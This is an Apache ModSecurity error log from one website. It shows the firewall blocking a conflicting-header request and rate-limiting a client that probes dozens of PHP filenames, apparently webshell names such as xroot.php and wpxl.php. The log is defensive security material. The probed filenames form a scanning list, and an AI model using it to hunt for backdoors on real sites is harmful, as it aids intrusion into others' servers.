[Fri Apr 24 16:55:07.683594 2026] [:error] [pid 17720:tid 17771] [client 43.157.179.227:34382] [client 43.157.179.227] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aesv6-hlUs6BS3Ng7_U4SgAAANE"]
[Fri Apr 24 16:56:40.283173 2026] [:error] [pid 17808:tid 17812] [client 51.103.42.147:50335] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aj11.php"] [unique_id "aeswSOarbOEFI8qshvLeegAAAEI"]
[Fri Apr 24 16:56:41.378400 2026] [:error] [pid 17808:tid 17818] [client 51.103.42.147:32930] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aj11.php"] [unique_id "aeswSearbOEFI8qshvLefgAAAEg"]
[Fri Apr 24 16:56:43.847525 2026] [:error] [pid 14531:tid 14548] [client 51.103.42.147:53030] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aj11.php"] [unique_id "aeswS3fLU2gw-6KR-GaD9gAAAU8"]
[Fri Apr 24 16:56:47.259929 2026] [:error] [pid 17720:tid 17771] [client 51.103.42.147:50338] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aj11.php"] [unique_id "aeswT-hlUs6BS3Ng7_U5PwAAANE"]
[Fri Apr 24 16:56:48.721608 2026] [:error] [pid 17808:tid 17810] [client 51.103.42.147:62391] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tires.php"] [unique_id "aeswUOarbOEFI8qshvLekwAAAEA"]
[Fri Apr 24 16:56:49.696886 2026] [:error] [pid 17720:tid 17777] [client 51.103.42.147:34282] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tires.php"] [unique_id "aeswUehlUs6BS3Ng7_U5TAAAANc"]
[Fri Apr 24 16:56:51.823815 2026] [:error] [pid 17808:tid 17825] [client 51.103.42.147:58391] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tires.php"] [unique_id "aeswU-arbOEFI8qshvLenwAAAE8"]
[Fri Apr 24 16:56:53.986187 2026] [:error] [pid 17720:tid 17777] [client 51.103.42.147:56820] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tires.php"] [unique_id "aeswVehlUs6BS3Ng7_U5XwAAANc"]
[Fri Apr 24 16:56:54.782878 2026] [:error] [pid 17719:tid 17744] [client 51.103.42.147:30112] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xroot.php"] [unique_id "aeswVsTZ9gzEyL1BkPp5YwAAAJE"]
[Fri Apr 24 16:56:57.486231 2026] [:error] [pid 17808:tid 17829] [client 51.103.42.147:34297] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xroot.php"] [unique_id "aeswWearbOEFI8qshvLepgAAAFM"]
[Fri Apr 24 16:56:58.567127 2026] [:error] [pid 17808:tid 17813] [client 51.103.42.147:53624] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xroot.php"] [unique_id "aeswWuarbOEFI8qshvLeqgAAAEM"]
[Fri Apr 24 16:56:59.352588 2026] [:error] [pid 17808:tid 17825] [client 51.103.42.147:53027] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xroot.php"] [unique_id "aeswW-arbOEFI8qshvLergAAAE8"]
[Fri Apr 24 16:57:00.431414 2026] [:error] [pid 17720:tid 17775] [client 51.103.42.147:57338] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeswXOhlUs6BS3Ng7_U5ZAAAANU"]
[Fri Apr 24 16:57:01.306299 2026] [:error] [pid 17808:tid 17813] [client 51.103.42.147:30642] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeswXearbOEFI8qshvLetgAAAEM"]
[Fri Apr 24 16:57:02.655591 2026] [:error] [pid 17721:tid 17785] [client 51.103.42.147:30126] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeswXuFXXkLeyDnfk_8C3wAAAAQ"]
[Fri Apr 24 16:57:03.539049 2026] [:error] [pid 17721:tid 17796] [client 51.103.42.147:30655] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeswX-FXXkLeyDnfk_8C4gAAAA8"]
[Fri Apr 24 16:57:04.344345 2026] [:error] [pid 17721:tid 17803] [client 51.103.42.147:62372] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uwu.php"] [unique_id "aeswYOFXXkLeyDnfk_8C5gAAABY"]
[Fri Apr 24 16:57:04.973769 2026] [:error] [pid 17721:tid 17788] [client 51.103.42.147:62353] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uwu.php"] [unique_id "aeswYOFXXkLeyDnfk_8C6AAAAAc"]
[Fri Apr 24 16:57:06.176864 2026] [:error] [pid 14531:tid 14550] [client 51.103.42.147:34276] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uwu.php"] [unique_id "aeswYnfLU2gw-6KR-GaEBQAAAVE"]
[Fri Apr 24 16:57:07.312802 2026] [:error] [pid 17719:tid 17750] [client 51.103.42.147:53609] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uwu.php"] [unique_id "aeswY8TZ9gzEyL1BkPp5cQAAAJc"]
[Fri Apr 24 16:57:08.781644 2026] [:error] [pid 22114:tid 22135] [client 51.103.42.147:50336] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeswZIAuWGz3WlMQjofESAAAARI"]
[Fri Apr 24 16:57:09.916202 2026] [:error] [pid 17808:tid 17825] [client 51.103.42.147:52092] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeswZearbOEFI8qshvLevwAAAE8"]
[Fri Apr 24 16:57:10.937302 2026] [:error] [pid 17719:tid 17747] [client 51.103.42.147:50360] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeswZsTZ9gzEyL1BkPp5dQAAAJQ"]
[Fri Apr 24 16:57:12.997904 2026] [:error] [pid 17721:tid 17801] [client 51.103.42.147:30646] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aios-bootstrap.php"] [unique_id "aeswaOFXXkLeyDnfk_8C9gAAABQ"]
[Fri Apr 24 16:57:13.846217 2026] [:error] [pid 17721:tid 17803] [client 51.103.42.147:32902] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/one.php"] [unique_id "aeswaeFXXkLeyDnfk_8C9wAAABY"]
[Fri Apr 24 16:57:15.344092 2026] [:error] [pid 17720:tid 17758] [client 51.103.42.147:30111] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/one.php"] [unique_id "aeswa-hlUs6BS3Ng7_U5fgAAAMQ"]
[Fri Apr 24 16:57:16.558875 2026] [:error] [pid 17720:tid 17760] [client 51.103.42.147:57306] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/one.php"] [unique_id "aeswbOhlUs6BS3Ng7_U5gwAAAMY"]
[Fri Apr 24 16:57:17.470629 2026] [:error] [pid 14531:tid 14539] [client 51.103.42.147:32917] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/one.php"] [unique_id "aeswbXfLU2gw-6KR-GaEGAAAAUY"]
[Fri Apr 24 16:57:18.223797 2026] [:error] [pid 17721:tid 17792] [client 51.103.42.147:62383] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/006.php"] [unique_id "aeswbuFXXkLeyDnfk_8C-QAAAAs"]
[Fri Apr 24 16:57:19.080107 2026] [:error] [pid 14531:tid 14543] [client 51.103.42.147:53576] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/006.php"] [unique_id "aeswb3fLU2gw-6KR-GaEGgAAAUo"]
[Fri Apr 24 16:57:20.239628 2026] [:error] [pid 14531:tid 14533] [client 51.103.42.147:52056] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/006.php"] [unique_id "aeswcHfLU2gw-6KR-GaEGwAAAUA"]
[Fri Apr 24 16:57:21.388085 2026] [:error] [pid 17721:tid 17797] [client 51.103.42.147:30592] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/006.php"] [unique_id "aeswceFXXkLeyDnfk_8C_QAAABA"]
[Fri Apr 24 16:57:22.696905 2026] [:error] [pid 17719:tid 17746] [client 51.103.42.147:46281] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "aeswcsTZ9gzEyL1BkPp5igAAAJM"]
[Fri Apr 24 16:57:23.656085 2026] [:error] [pid 17720:tid 17777] [client 51.103.42.147:62363] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "aeswc-hlUs6BS3Ng7_U5kAAAANc"]
[Fri Apr 24 16:57:24.818869 2026] [:error] [pid 14531:tid 14550] [client 51.103.42.147:52992] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "aeswdHfLU2gw-6KR-GaEIQAAAVE"]
[Fri Apr 24 16:57:26.643174 2026] [:error] [pid 17808:tid 17829] [client 51.103.42.147:34262] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kikikoko.php"] [unique_id "aeswduarbOEFI8qshvLe3AAAAFM"]
[Fri Apr 24 16:57:30.195696 2026] [:error] [pid 14531:tid 14544] [client 51.103.42.147:30641] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aeswenfLU2gw-6KR-GaEJwAAAUs"]
[Fri Apr 24 16:57:31.754072 2026] [:error] [pid 17808:tid 17821] [client 51.103.42.147:62394] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aeswe-arbOEFI8qshvLe_gAAAEs"]
[Fri Apr 24 16:57:32.507166 2026] [:error] [pid 17808:tid 17820] [client 51.103.42.147:46299] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aeswfOarbOEFI8qshvLfBAAAAEo"]
[Fri Apr 24 16:57:33.642796 2026] [:error] [pid 17719:tid 17732] [client 51.103.42.147:62351] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aeswfcTZ9gzEyL1BkPp5kAAAAIU"]
[Fri Apr 24 16:57:34.550084 2026] [:error] [pid 22114:tid 22129] [client 51.103.42.147:55371] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aeswfoAuWGz3WlMQjofEaAAAAQw"]
[Fri Apr 24 16:57:35.351118 2026] [:error] [pid 17720:tid 17776] [client 51.103.42.147:53013] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aeswf-hlUs6BS3Ng7_U5pwAAANY"]
[Fri Apr 24 16:57:36.176808 2026] [:error] [pid 17720:tid 17755] [client 51.103.42.147:55396] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aeswgOhlUs6BS3Ng7_U5qQAAAME"]
[Fri Apr 24 16:57:36.787993 2026] [:error] [pid 14531:tid 14543] [client 51.103.42.147:50313] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aeswgHfLU2gw-6KR-GaEMQAAAUo"]
[Fri Apr 24 16:57:37.688023 2026] [:error] [pid 17721:tid 17793] [client 51.103.42.147:53622] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amxloxxr.php"] [unique_id "aeswgeFXXkLeyDnfk_8DBwAAAAw"]
[Fri Apr 24 16:58:25.183365 2026] [:error] [pid 22114:tid 22123] [client 51.103.42.147:30623] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/de.php"] [unique_id "aeswsYAuWGz3WlMQjofEiAAAAQY"]
[Fri Apr 24 16:58:26.599648 2026] [:error] [pid 14531:tid 14543] [client 51.103.42.147:53573] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/de.php"] [unique_id "aeswsnfLU2gw-6KR-GaEUgAAAUo"]
[Fri Apr 24 16:58:27.758398 2026] [:error] [pid 22114:tid 22136] [client 51.103.42.147:63186] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/de.php"] [unique_id "aesws4AuWGz3WlMQjofEjAAAARM"]
[Fri Apr 24 16:58:28.627084 2026] [:error] [pid 17721:tid 17787] [client 51.103.42.147:62365] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/de.php"] [unique_id "aeswtOFXXkLeyDnfk_8DPAAAAAY"]
[Fri Apr 24 16:58:30.069622 2026] [:error] [pid 14531:tid 14555] [client 51.103.42.147:34279] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/insta.php"] [unique_id "aeswtnfLU2gw-6KR-GaEVQAAAVY"]
[Fri Apr 24 16:58:32.728772 2026] [:error] [pid 17719:tid 17734] [client 51.103.42.147:52086] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/insta.php"] [unique_id "aeswuMTZ9gzEyL1BkPp52wAAAIc"]
[Fri Apr 24 16:58:34.172813 2026] [:error] [pid 17721:tid 17783] [client 51.103.42.147:55459] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/insta.php"] [unique_id "aeswuuFXXkLeyDnfk_8DQAAAAAI"]
[Fri Apr 24 16:58:35.072681 2026] [:error] [pid 17808:tid 17832] [client 51.103.42.147:50340] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/insta.php"] [unique_id "aeswu-arbOEFI8qshvLfagAAAFY"]
[Fri Apr 24 16:58:35.984050 2026] [:error] [pid 17808:tid 17816] [client 51.103.42.147:57351] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "aeswu-arbOEFI8qshvLfbQAAAEY"]
[Fri Apr 24 16:58:37.919099 2026] [:error] [pid 17721:tid 17792] [client 51.103.42.147:47503] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpxl.php"] [unique_id "aeswveFXXkLeyDnfk_8DQgAAAAs"]
